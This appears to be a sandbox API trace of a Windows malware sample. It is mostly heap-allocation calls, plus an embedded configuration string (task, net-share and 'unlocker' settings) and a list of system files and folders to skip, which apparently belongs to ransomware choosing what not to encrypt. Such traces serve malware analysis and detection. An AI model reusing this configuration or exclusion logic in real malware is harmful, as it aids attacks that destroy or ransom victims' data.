	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x8c) returned 0x285ac58
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875c78
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285ac58, Size=0x90) returned 0x285ac58
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875cb8
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285ac58, Size=0x94) returned 0x285f430
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875b58
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f430, Size=0x98) returned 0x285f430
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875cf8
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f430, Size=0x9c) returned 0x285bdd0
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875d58
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285bdd0, Size=0xa0) returned 0x285bdd0
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875e58
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285bdd0, Size=0xa4) returned 0x2853c10
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875d98
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853c10, Size=0xa8) returned 0x2853c10
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875df8
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853c10, Size=0xac) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875b98
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xb0) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875e18
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xb4) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875e38
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xb8) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875c18
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xbc) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875c58
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xc0) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875d78
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xc4) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875db8
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xc8) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875dd8
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xcc) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875718
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xd0) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875a58
	[0060.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xd4) returned 0x2861980
	[0060.375] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28757b8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xd8) returned 0x2861980
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875858
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xdc) returned 0x2861980
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875a78
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xe0) returned 0x2861980
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28759b8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xe4) returned 0x2861980
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28757d8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xe8) returned 0x2861980
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875758
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xec) returned 0x2861980
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28759f8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xf0) returned 0x2861980
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875a98
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861980, Size=0xf4) returned 0x285bec8
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28758d8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285bec8, Size=0xf8) returned 0x285bec8
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28758f8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285bec8, Size=0xfc) returned 0x285bec8
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875918
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285bec8, Size=0x100) returned 0x285bec8
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875778
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285bec8, Size=0x104) returned 0x2859bb8
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875ab8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2859bb8, Size=0x108) returned 0x2859bb8
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28756d8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28730f8, Size=0xc) returned 0x2861d00
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875878
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x2873218
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875a18
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873218, Size=0x8) returned 0x28731f8
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28759d8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28731f8, Size=0xc) returned 0x2861bb0
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28758b8
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861bb0, Size=0x10) returned 0x2861d18
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875a38
	[0060.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861d18, Size=0x14) returned 0x28756f8
	[0060.376] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875798
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28756f8, Size=0x18) returned 0x28757f8
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875938
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28757f8, Size=0x1c) returned 0x286c060
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28756f8
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286c060, Size=0x20) returned 0x286bef8
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28757f8
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286bef8, Size=0x24) returned 0x2862320
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875818
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862320, Size=0x28) returned 0x2862380
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875958
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862380, Size=0x2c) returned 0x285b6a0
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875738
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b6a0, Size=0x30) returned 0x285b710
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875838
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b710, Size=0x34) returned 0x286f908
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875898
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286f908, Size=0x38) returned 0x286fd08
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875978
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286fd08, Size=0x3c) returned 0x28748d8
	[0060.377] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2875998
	[0060.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28748d8, Size=0x40) returned 0x2874848
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876640
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2874848, Size=0x44) returned 0x2862b08
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876660
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862b08, Size=0x48) returned 0x2862518
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28762e0
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862518, Size=0x4c) returned 0x2853eb8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876320
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x50) returned 0x2853eb8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28764a0
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x54) returned 0x2853eb8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876580
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x58) returned 0x2853eb8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876340
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x5c) returned 0x2853eb8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876380
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x60) returned 0x2853eb8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876540
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x64) returned 0x2853eb8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876420
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x68) returned 0x2853eb8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876300
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x6c) returned 0x28549b8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876360
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28549b8, Size=0x70) returned 0x28549b8
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28765e0
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28549b8, Size=0x74) returned 0x285f368
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28764c0
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f368, Size=0x78) returned 0x285f368
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28763a0
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285f368, Size=0x7c) returned 0x2857d40
	[0060.389] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876680
	[0060.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x80) returned 0x2857d40
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28764e0
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x84) returned 0x2857d40
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876560
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x88) returned 0x2857d40
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28763c0
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2857d40, Size=0x8c) returned 0x285ac58
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876600
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285ac58, Size=0x90) returned 0x285ac58
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28765a0
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861d00, Size=0x10) returned 0x2861b20
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876500
	[0060.390] strtol (in: _Str="30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x10f0ac, _Radix=0 | out: _EndPtr=0x10f0ac*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 30
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861b20, Size=0x14) returned 0x2876400
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2876620
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x2873278
	[0060.390] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28765c0
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873278, Size=0x8) returned 0x2873108
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873108, Size=0xc) returned 0x2861ca0
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861ca0, Size=0x10) returned 0x2861c70
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861c70, Size=0x14) returned 0x2876520
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b6d8, Size=0x34) returned 0x286fd08
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28731f8, Size=0x8) returned 0x2873128
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873198, Size=0x8) returned 0x2873168
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873168, Size=0xc) returned 0x2861d00
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873268, Size=0x8) returned 0x28731e8
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286fd08, Size=0x38) returned 0x286fbc8
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873158, Size=0x8) returned 0x28731b8
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28730d8, Size=0x8) returned 0x2873178
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873218, Size=0x8) returned 0x28731f8
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28731f8, Size=0xc) returned 0x2861c70
	[0060.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873178, Size=0xc) returned 0x2861d48
	[0060.391] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873258, Size=0x8) returned 0x28731f8
	[0060.391] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2866720) returned 1
	[0060.391] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2868750) returned 1
	[0060.393] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ntuser.dat*" | out: DestinationString="ntuser.dat*") 
	[0060.393] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ntuser.dat*", AllocateDestinationString=1 | out: DestinationString="ntuser.dat*") returned 0x0
	[0060.393] RtlFreeAnsiString (AnsiString="n") 
	[0060.393] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="iconcache.db" | out: DestinationString="iconcache.db") 
	[0060.393] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="iconcache.db", AllocateDestinationString=1 | out: DestinationString="iconcache.db") returned 0x0
	[0060.393] RtlFreeAnsiString (AnsiString="i") 
	[0060.393] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="gdipfont*.dat" | out: DestinationString="gdipfont*.dat") 
	[0060.393] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="gdipfont*.dat", AllocateDestinationString=1 | out: DestinationString="gdipfont*.dat") returned 0x0
	[0060.393] RtlFreeAnsiString (AnsiString="g") 
	[0060.393] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ntuser.ini" | out: DestinationString="ntuser.ini") 
	[0060.393] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ntuser.ini", AllocateDestinationString=1 | out: DestinationString="ntuser.ini") returned 0x0
	[0060.393] RtlFreeAnsiString (AnsiString="n") 
	[0060.393] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="usrclass.dat" | out: DestinationString="usrclass.dat") 
	[0060.393] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="usrclass.dat", AllocateDestinationString=1 | out: DestinationString="usrclass.dat") returned 0x0
	[0060.393] RtlFreeAnsiString (AnsiString="u") 
	[0060.393] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="usrclass.dat*" | out: DestinationString="usrclass.dat*") 
	[0060.393] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="usrclass.dat*", AllocateDestinationString=1 | out: DestinationString="usrclass.dat*") returned 0x0
	[0060.393] RtlFreeAnsiString (AnsiString="u") 
	[0060.393] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="boot.ini" | out: DestinationString="boot.ini") 
	[0060.393] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="boot.ini", AllocateDestinationString=1 | out: DestinationString="boot.ini") returned 0x0
	[0060.394] RtlFreeAnsiString (AnsiString="b") 
	[0060.394] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="bootmgr" | out: DestinationString="bootmgr") 
	[0060.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="bootmgr", AllocateDestinationString=1 | out: DestinationString="bootmgr") returned 0x0
	[0060.394] RtlFreeAnsiString (AnsiString="b") 
	[0060.394] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="bootnxt" | out: DestinationString="bootnxt") 
	[0060.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="bootnxt", AllocateDestinationString=1 | out: DestinationString="bootnxt") returned 0x0
	[0060.394] RtlFreeAnsiString (AnsiString="b") 
	[0060.394] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="desktop.ini" | out: DestinationString="desktop.ini") 
	[0060.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="desktop.ini", AllocateDestinationString=1 | out: DestinationString="desktop.ini") returned 0x0
	[0060.394] RtlFreeAnsiString (AnsiString="d") 
	[0060.394] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ntuser.dat" | out: DestinationString="ntuser.dat") 
	[0060.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ntuser.dat", AllocateDestinationString=1 | out: DestinationString="ntuser.dat") returned 0x0
	[0060.394] RtlFreeAnsiString (AnsiString="n") 
	[0060.394] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="autorun.inf" | out: DestinationString="autorun.inf") 
	[0060.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="autorun.inf", AllocateDestinationString=1 | out: DestinationString="autorun.inf") returned 0x0
	[0060.394] RtlFreeAnsiString (AnsiString="a") 
	[0060.394] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ntldr" | out: DestinationString="ntldr") 
	[0060.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ntldr", AllocateDestinationString=1 | out: DestinationString="ntldr") returned 0x0
	[0060.394] RtlFreeAnsiString (AnsiString="n") 
	[0060.394] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="thumbs.db" | out: DestinationString="thumbs.db") 
	[0060.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="thumbs.db", AllocateDestinationString=1 | out: DestinationString="thumbs.db") returned 0x0
	[0060.394] RtlFreeAnsiString (AnsiString="t") 
	[0060.394] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="bootsect.bak" | out: DestinationString="bootsect.bak") 
	[0060.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="bootsect.bak", AllocateDestinationString=1 | out: DestinationString="bootsect.bak") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="b") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="bootfont.bin" | out: DestinationString="bootfont.bin") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="bootfont.bin", AllocateDestinationString=1 | out: DestinationString="bootfont.bin") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="b") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*system volume information" | out: DestinationString="*system volume information") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*system volume information", AllocateDestinationString=1 | out: DestinationString="*system volume information") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="*") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*windows.old" | out: DestinationString="*windows.old") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*windows.old", AllocateDestinationString=1 | out: DestinationString="*windows.old") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="*") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*:\\users\\*\\*temp" | out: DestinationString="*:\\users\\*\\*temp") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*:\\users\\*\\*temp", AllocateDestinationString=1 | out: DestinationString="*:\\users\\*\\*temp") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="*") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*msocache" | out: DestinationString="*msocache") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*msocache", AllocateDestinationString=1 | out: DestinationString="*msocache") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="*") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*:\\winnt" | out: DestinationString="*:\\winnt") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*:\\winnt", AllocateDestinationString=1 | out: DestinationString="*:\\winnt") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="*") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*$windows.~ws" | out: DestinationString="*$windows.~ws") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*$windows.~ws", AllocateDestinationString=1 | out: DestinationString="*$windows.~ws") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="*") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*perflogs" | out: DestinationString="*perflogs") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*perflogs", AllocateDestinationString=1 | out: DestinationString="*perflogs") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="*") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*boot" | out: DestinationString="*boot") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*boot", AllocateDestinationString=1 | out: DestinationString="*boot") returned 0x0
	[0060.395] RtlFreeAnsiString (AnsiString="*") 
	[0060.395] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*:\\windows" | out: DestinationString="*:\\windows") 
	[0060.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*:\\windows", AllocateDestinationString=1 | out: DestinationString="*:\\windows") returned 0x0
	[0060.396] RtlFreeAnsiString (AnsiString="*") 
